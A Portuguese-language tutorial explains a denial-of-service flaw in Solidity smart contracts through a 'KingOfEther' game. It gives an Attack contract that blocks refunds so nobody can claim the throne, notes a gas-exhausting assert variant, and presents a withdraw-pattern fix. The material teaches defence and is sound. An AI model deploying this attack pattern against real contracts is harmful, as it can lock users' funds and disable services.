Nesse artigo iremos aprender a como um contrato malicioso age para tornar um contrato inutilizável e como previnir um ataque em seu contrato inteligente.
Vulnerabilidade
Existem muitas maneiras de atacar um contrato inteligente para torná-lo inutilizável.
Uma exploração que introduzimos aqui é a negação de serviço, fazendo com que a função de enviar Ether falhe.
Como funciona:
O objetivo do KingOfEther é se tornar o rei enviando mais Ether do que o rei anterior.
O rei anterior será reembolsado com a quantidade de Ether que ele enviou.
- Implante KingOfEther
- Alice se torna o rei enviando 1 Ether para
ClaimThrone()
. - Bob se torna o rei enviando 2 Ether para
ClaimThrone()
. Alice recebe um reembolso de 1 Ether. - Implante o ataque com o endereço de
KingOfEther
. - Chame o ataque com 3 Ether.
- O rei atual é o contrato de ataque e ninguém pode se tornar o novo rei.
O que aconteceu?
Ataque se tornou o rei. Todo novo desafio para reivindicar o trono será rejeitado já que o contrato de ataque não possui função de fallback,
negando a aceitação do Ether enviado de KingOfEther antes que o novo rei seja definido.
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract KingOfEther {address public king;uint public balance;function claimThrone() external payable {require(msg.value > balance, "Precisa pagar mais para se tornar o rei");(bool sent, ) = king.call{value: balance}("");require(sent, "Falha ao enviar Ether");balance = msg.value;king = msg.sender;}}contract Attack {KingOfEther kingOfEther;constructor(KingOfEther _kingOfEther) {kingOfEther = KingOfEther(_kingOfEther);}// Você também pode executar um DOS consumindo todo o gás usando assert.// Este ataque funcionará mesmo se o contrato de chamada não verificar// se a chamada foi bem sucedida ou não.//// function () external payable {// assert(false);// }function attack() public payable {kingOfEther.claimThrone{value: msg.value}();}}
Técnicas Preventivas
Uma maneira de evitar isso é permitir que os usuários retirem seu Ether em vez de enviá-lo.
Aqui está um exemplo.
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract KingOfEther {address public king;uint public balance;mapping(address => uint) public balances;function claimThrone() external payable {require(msg.value > balance, "Precisa pagar mais para se tornar o rei");balances[king] += balance;balance = msg.value;king = msg.sender;}function withdraw() public {require(msg.sender != king, "O rei atual não pode sacar");uint amount = balances[msg.sender];balances[msg.sender] = 0;(bool sent, ) = msg.sender.call{value: amount}("");require(sent, "Falha ao enviar Ether");}}